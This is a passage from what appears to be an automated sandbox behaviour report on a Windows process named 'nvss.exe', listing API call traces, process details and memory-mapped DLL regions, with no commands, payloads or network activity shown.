hTemplateFile=0x0) returned 0x1f [0057.734] GetLastError () returned 0xcb [0057.734] GetConsoleMode (in: hConsoleHandle=0x1f, lpMode=0x21ebfc | out: lpMode=0x21ebfc) returned 1 [0057.734] GetLastError () returned 0xcb [0057.734] WriteConsoleW (in: hConsoleOutput=0x1f, lpBuffer=0x2cfd298*, nNumberOfCharsToWrite=0xd90, lpNumberOfCharsWritten=0x21ebfc, lpReserved=0x0 | out: lpBuffer=0x2cfd298*, lpNumberOfCharsWritten=0x21ebfc*=0xd90) returned 1 [0057.735] GetLastError () returned 0xcb [0057.735] CloseHandle (hObject=0x1f) returned 1 [0057.735] GetLastError () returned 0xcb [0057.738] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.738] GetLastError () returned 0xcb [0057.738] GetConsoleMode (in: hConsoleHandle=0x1f, lpMode=0x21ebd0 | out: lpMode=0x21ebd0) returned 1 [0057.738] GetLastError () returned 0xcb [0057.738] WriteConsoleW (in: hConsoleOutput=0x1f, lpBuffer=0x2d36b3c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x21ebd0, lpReserved=0x0 | out: lpBuffer=0x2d36b3c*, lpNumberOfCharsWritten=0x21ebd0*=0x2) returned 1 [0057.739] GetLastError () returned 0xcb [0057.739] CloseHandle (hObject=0x1f) returned 1 [0057.739] GetLastError () returned 0xcb [0057.740] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0057.740] GetLastError () returned 0xcb [0057.741] CoGetContextToken (in: pToken=0x21fa30 | out: pToken=0x21fa30) returned 0x0 [0057.741] CObjectContext::QueryInterface () returned 0x0 [0057.741] CObjectContext::GetCurrentThreadType () returned 0x0 [0057.742] Release () returned 0x0 [0057.743] CoGetContextToken (in: pToken=0x21f808 | out: pToken=0x21f808) returned 0x0 [0057.743] CObjectContext::QueryInterface () returned 0x0 [0057.743] CObjectContext::GetCurrentThreadType () returned 0x0 [0057.743] Release () returned 0x0 [0057.743] CoGetContextToken (in: pToken=0x21f808 | out: pToken=0x21f808) returned 0x0 [0057.743] CObjectContext::QueryInterface () returned 0x0 [0057.743] CObjectContext::GetCurrentThreadType () returned 0x0 [0057.743] Release () returned 0x0 [0057.746] CoGetContextToken (in: pToken=0x21f808 | out: pToken=0x21f808) returned 0x0 [0057.746] CObjectContext::QueryInterface () returned 0x0 [0057.746] CObjectContext::GetCurrentThreadType () returned 0x0 [0057.746] Release () returned 0x0 [0057.750] CoGetContextToken (in: pToken=0x21f7e8 | out: pToken=0x21f7e8) returned 0x0 [0057.750] CObjectContext::QueryInterface () returned 0x0 [0057.750] CObjectContext::GetCurrentThreadType () returned 0x0 [0057.750] Release () returned 0x0 [0057.751] CoUninitialize () Thread: id = 53 os_tid = 0xa74 Thread: id = 54 os_tid = 0xa78 Thread: id = 55 os_tid = 0xa7c Thread: id = 56 os_tid = 0xa80 Thread: id = 57 os_tid = 0xa84 [0056.371] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0057.746] CloseHandle (hObject=0x1b) returned 1 [0057.747] GetLastError () returned 0x0 [0057.747] CloseHandle (hObject=0x17) returned 1 [0057.747] GetLastError () returned 0x0 [0057.747] LocalFree (hMem=0x5a4e00) returned 0x0 [0057.747] GetLastError () returned 0x0 [0057.747] LocalFree (hMem=0x5a4b90) returned 0x0 [0057.747] GetLastError () returned 0x0 [0057.747] CloseHandle (hObject=0x344) returned 1 [0057.748] GetLastError () returned 0x0 [0057.748] CloseHandle (hObject=0x13) returned 1 [0057.748] GetLastError () returned 0x0 [0057.748] CloseHandle (hObject=0xf) returned 1 [0057.748] GetLastError () returned 0x0 [0057.748] RegCloseKey (hKey=0x324) returned 0x0 [0057.748] RegCloseKey (hKey=0x320) returned 0x0 [0057.749] RegCloseKey (hKey=0x31c) returned 0x0 [0057.749] RegCloseKey (hKey=0x80000004) returned 0x0 [0057.749] CloseHandle (hObject=0x304) returned 1 [0057.749] GetLastError () returned 0x0 Process: id = "7" image_name = "nvss.exe" filename = "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe" page_root = "0x723ee000" os_pid = "0xa90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa40" cmd_line = "\"C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe\" " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1215 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1216 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1217 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1218 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1219 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1220 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1221 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1222 start_va = 0x1120000 end_va = 0x1189fff entry_point = 0x1120000 region_type = mapped_file name = "nvss.exe" filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe") Region: id = 1223 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1224 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1225 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1226 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1227 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1228 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1229 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1230 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1231 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1232 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1233 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1234 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1235 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1236 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 1237 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 1238 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1239 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1240 start_va = 0x3b0000 end_va = 0x416fff entry_point = 0x3b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1241 start_va = 0x74230000 end_va = 0x74279fff entry_point = 0x74232e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1242 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1243 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1244 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1245 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1246 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1247 start_va = 0x4f0000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1248 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1249 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1250 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1251 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1252 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1253 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1254 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1255 start_va = 0x741b0000 end_va = 0x74229fff entry_point = 0x741b1f48 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1256 start_va = 0x700000 end_va = 0x73ffff entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1257 start_va = 0x740000 end_va = 0x8c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 1258 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1259 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1260 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1261 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1262 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1263 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1264 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1266 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1267 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1268 start_va = 0x8d0000 end_va = 0xa50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 1269 start_va = 0x1190000 end_va = 0x258ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001190000" filename = "" Region: id = 1270 start_va = 0x6aaa0000 end_va = 0x6b131fff entry_point = 0x6aaa0000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1271 start_va = 0x6eb40000 end_va = 0x6ec12fff entry_point = 0x6eb40000 region_type = mapped_file name = "msvcr110_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr110_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr110_clr0400.dll") Region: id = 1272 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1273 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 1274 start_va = 0x90000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1275 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1276 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1277 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1278 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1279 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1280 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1281 start_va = 0x4b0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1282 start_va = 0x5c0000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1283 start_va = 0x6b0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 1284 start_va = 0xa90000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1285 start_va = 0xae0000 end_va = 0xb1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1286 start_va = 0xb40000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1287 start_va = 0xc40000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1288 start_va = 0xcb0000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 1289 start_va = 0xe30000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 1290 start_va = 0x2590000 end_va = 0x458ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1291 start_va = 0x4590000 end_va = 0x485efff entry_point = 0x4590000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1292 start_va = 0x6db80000 end_va = 0x6eb3efff entry_point = 0x6db80000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\51e2934144ba15628ba5a31be2dae7dc\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\51e2934144ba15628ba5a31be2dae7dc\\mscorlib.ni.dll") Region: id = 1293 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1294 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1295 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1296 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1297 start_va = 0x73db0000 end_va = 0x73e2ffff entry_point = 0x73dc37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1298 start_va = 0xf30000 end_va = 0x109ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 1299 start_va = 0xf30000 end_va = 0x100efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f30000" filename = "" Region: id = 1300 start_va = 0x1060000 end_va = 0x109ffff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 1301 start_va = 0x430000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1302 start_va = 0x6db10000 end_va = 0x6db7dfff entry_point = 0x6db10000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1303 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1304 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1305 start_va = 0x6c3d0000 end_va = 0x6cfecfff entry_point = 0x6c3d0000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\22ae167d586450ad3a9b9a9ee43ebc86\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\22ae167d586450ad3a9b9a9ee43ebc86\\system.windows.forms.ni.dll") Region: id = 1306 start_va = 0x6cff0000 end_va = 0x6d180fff entry_point = 0x6cff0000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\72269ea7cc6281139e4d155e7c57dc67\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\72269ea7cc6281139e4d155e7c57dc67\\system.drawing.ni.dll") Region: id = 1307 start_va = 0x6d190000 end_va = 0x6db08fff entry_point = 0x6d190000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\e40da7a49f8c3f0108e7c835b342f382\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\e40da7a49f8c3f0108e7c835b342f382\\system.ni.dll") Region: id = 1308 start_va = 0x6bd20000 end_va = 0x6c3cdfff entry_point = 0x6bd20000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\b9f7adbc90a2bcbe8eb9e6e8d2bb975b\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\b9f7adbc90a2bcbe8eb9e6e8d2bb975b\\system.core.ni.dll") Region: id = 1309 start_va = 0x73b50000 end_va = 0x73b61fff entry_point = 0x73b50000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1310 start_va = 0x4860000 end_va = 0x4b31fff entry_point = 0x4860000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1311 start_va = 0x73b30000 end_va = 0x73b46fff entry_point = 0x73b30000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1312 start_va = 0x6b880000 end_va = 0x6bd15fff entry_point = 0x6b880000 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 1313 start_va = 0x460000 end_va = 0x461fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1314 start_va = 0x4b40000 end_va = 0x4bc1fff entry_point = 0x4b40000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1315 start_va = 0x4b40000 end_va = 0x4bc1fff entry_point = 0x4b419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1316 start_va = 0x6bc90000 end_va = 0x6bd13fff entry_point = 0x6bc919a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1317 start_va = 0x4b40000 end_va = 0x4c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 1318 start_va = 0x4c80000 end_va = 0x4e1afff entry_point = 0x4cae6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1319 start_va = 0x4c80000 end_va = 0x4e1afff entry_point = 0x4cae6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1320 start_va = 0x74820000 end_va = 0x749bdfff entry_point = 0x7484e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1321 start_va = 0x470000 end_va = 0x470fff entry_point = 0x470000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1322 start_va = 0x490000 end_va = 0x491fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1323 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1324 start_va = 0x6bb00000 end_va = 0x6bc8ffff entry_point = 0x6bb00000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 1325 start_va = 0x4c80000 end_va = 0x4dbffff entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 1326 start_va = 0x500000 end_va = 0x51afff entry_point = 0x500000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\gdipfontcachev1.dat") Region: id = 1327 start_va = 0xdd0000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1328 start_va = 0x4ec0000 end_va = 0x4fbffff entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 1329 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1330 start_va = 0x4b40000 end_va = 0x4c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 1331 start_va = 0x4c70000 end_va = 0x4c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 1332 start_va = 0x4c80000 end_va = 0x4d2afff entry_point = 0x4c80000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 1333 start_va = 0x4db0000 end_va = 0x4dbffff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 1334 start_va = 0x4c80000 end_va = 0x4d2afff entry_point = 0x4c80000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 1335 start_va = 0x4fc0000 end_va = 0x6468fff entry_point = 0x4fc0000 region_type = 